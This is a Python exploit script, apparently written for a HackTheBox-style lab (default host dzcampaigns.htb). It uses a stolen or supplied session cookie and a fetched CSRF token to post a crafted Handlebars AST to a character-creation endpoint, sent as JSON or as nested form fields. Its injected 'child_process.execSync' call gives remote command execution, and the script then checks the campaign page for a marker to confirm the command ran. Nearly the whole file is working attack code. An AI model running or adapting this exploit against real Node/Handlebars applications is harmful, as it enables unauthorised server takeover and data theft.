#!/usr/bin/env python3

import argparse
import html
import json
import os
import re
import sys
from typing import Any

import requests


import secrets

MARKER = f"DZAST_OK_{secrets.token_hex(8)}"

def extract_csrf(page: str) -> str:
    patterns = [
        r'<input[^>]*name=["\']_csrf["\'][^>]*value=["\']([^"\']+)',
        r'<input[^>]*value=["\']([^"\']+)["\'][^>]*name=["\']_csrf["\']',
    ]

    for pattern in patterns:
        match = re.search(pattern, page, re.I)
        if match:
            return html.unescape(match.group(1))

    raise RuntimeError("Could not find _csrf token in /character/new")


def fetch_csrf(session: requests.Session, base: str) -> str:
    response = session.get(
        f"{base}/character/new",
        timeout=10,
    )
    response.raise_for_status()

    if "/login" in response.url:
        raise RuntimeError("Session appears unauthenticated")

    return extract_csrf(response.text)


def injection_value(command: str) -> str:
    # json.dumps creates a safely quoted JavaScript string literal.
    wrapped_command = f"printf '{MARKER}\\n'; {command}"
    js_command = json.dumps(wrapped_command)

    return (
        "{},{})) + "
        "process.mainModule.require('child_process')"
        f".execSync({js_command}).toString() //"
    )


def json_ast(command: str) -> dict[str, Any]:
    """AST matching the public exploit.py structure."""
    return {
        "type": "Program",
        "body": [
            {
                "type": "MustacheStatement",
                "path": {
                    "type": "PathExpression",
                    "data": False,
                    "depth": 0,
                    "parts": ["lookup"],
                    "original": "lookup",
                    "loc": None,
                },
                "params": [
                    {
                        "type": "PathExpression",
                        "data": False,
                        "depth": 0,
                        "parts": [],
                        "original": "this",
                        "loc": None,
                    },
                    {
                        "type": "NumberLiteral",
                        "value": injection_value(command),
                        "original": 1,
                        "loc": None,
                    },
                ],
                "escaped": True,
                "strip": {"open": False, "close": False},
                "loc": None,
            }
        ],
        "strip": {},
        "loc": None,
    }


def form_ast(command: str) -> dict[str, Any]:
    """
    Reduced AST for bracket-form encoding.

    URL-encoded parsers normally return scalar values as strings, so optional
    false/null properties are omitted.
    """
    return {
        "type": "Program",
        "body": [
            {
                "type": "MustacheStatement",
                "path": {
                    "type": "PathExpression",
                    "parts": ["lookup"],
                    "original": "lookup",
                },
                "params": [
                    {
                        "type": "NumberLiteral",
                        "value": "0",
                        "original": "0",
                    },
                    {
                        "type": "NumberLiteral",
                        "value": injection_value(command),
                        "original": "1",
                    },
                ],
                "escaped": "true",
            }
        ],
    }


def flatten_form(prefix: str, value: Any) -> list[tuple[str, str]]:
    """Convert an object to qs/Express bracket notation."""
    output: list[tuple[str, str]] = []

    if isinstance(value, dict):
        for key, child in value.items():
            output.extend(flatten_form(f"{prefix}[{key}]", child))

    elif isinstance(value, list):
        for index, child in enumerate(value):
            output.extend(flatten_form(f"{prefix}[{index}]", child))

    elif value is None:
        output.append((prefix, ""))

    elif isinstance(value, bool):
        output.append((prefix, "true" if value else "false"))

    else:
        output.append((prefix, str(value)))

    return output


def common_fields(csrf: str, campaign_id: int) -> dict[str, str]:
    return {
        "_csrf": csrf,
        "name": "astpoc",
        "race": "human",
        "class": "tester",
        "backstory": "AST validation",
        "campaign_id": str(campaign_id),
    }


def print_response(label: str, response: requests.Response) -> None:
    location = response.headers.get("Location", "-")
    print(f"[{label}] HTTP {response.status_code}, Location: {location}")

    if response.status_code >= 400:
        compact = re.sub(r"\s+", " ", response.text)
        print(f"[{label}] Body: {compact[:400]}")


def find_result(
    session: requests.Session,
    base: str,
    campaign_id: int,
    post_response: requests.Response,
) -> bool:
    # Some implementations may return the rendered value immediately.
    if MARKER in post_response.text:
        print("[+] Marker appeared directly in the POST response")
        print(post_response.text)
        return True

    response = session.get(
        f"{base}/campaign/{campaign_id}",
        timeout=10,
    )
    response.raise_for_status()

    if MARKER not in response.text:
        return False

    messages = re.findall(
        r'<div class="message">\s*<p>(.*?)</p>',
        response.text,
        re.I | re.S,
    )

    print("[+] AST injection executed. Matching message:")

    for raw_message in reversed(messages):
        text = re.sub(r"<[^>]+>", "", raw_message)
        text = html.unescape(text).strip()

        if MARKER in text:
            print(text)
            return True 
    print("[+] Marker found in campaign HTML")
    return True


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--base",
        default="http://dzcampaigns.htb",
    )
    parser.add_argument(
        "--campaign",
        type=int,
        default=1,
    )
    parser.add_argument(
        "--cmd",
        default="id",
        help="Start with a harmless command such as id or pwd",
    )
    parser.add_argument(
        "--cookie",
        help="Cookie header, e.g. dz.sid=s%%3A...",
    )
    args = parser.parse_args()

    base = args.base.rstrip("/")
    cookie = args.cookie or os.environ.get("DZ_COOKIE")

    if not cookie:
        print("[-] Supply --cookie or set DZ_COOKIE", file=sys.stderr)
        return 1

    if cookie.lower().startswith("cookie:"):
        cookie = cookie.split(":", 1)[1].strip()

    session = requests.Session()
    session.headers.update(
        {
            "Cookie": cookie,
            "User-Agent": "Mozilla/5.0",
            "Origin": base,
            "Referer": f"{base}/character/new",
        }
    )

    # Attempt 1: JSON object.
    csrf = fetch_csrf(session, base)
    body: dict[str, Any] = common_fields(csrf, args.campaign)
    body["campaign_message"] = json_ast(args.cmd)

    print("[*] Trying campaign_message as a JSON AST object...")
    response = session.post(
        f"{base}/character",
        json=body,
        allow_redirects=False,
        timeout=15,
    )
    print_response("JSON", response)

    if find_result(session, base, args.campaign, response):
        return 0

    # Attempt 2: application/x-www-form-urlencoded nested object.
    csrf = fetch_csrf(session, base)
    fields = list(common_fields(csrf, args.campaign).items())
    fields.extend(flatten_form("campaign_message", form_ast(args.cmd)))

    print("[*] Trying nested URL-encoded AST fields...")
    response = session.post(
        f"{base}/character",
        data=fields,
        allow_redirects=False,
        timeout=15,
    )
    print_response("FORM", response)

    if find_result(session, base, args.campaign, response):
        return 0

    print(
        "\n[-] No execution marker appeared.\n"
        "Likely causes:\n"
        "  1. campaign_message is coerced to a string before compile();\n"
        "  2. the URL-encoded parser uses extended:false;\n"
        "  3. JSON request parsing is not enabled;\n"
        "  4. the object is serialized before the later campaign render;\n"
        "  5. Handlebars is patched or a different compile path is used."
    )
    return 2


if __name__ == "__main__":
    raise SystemExit(main())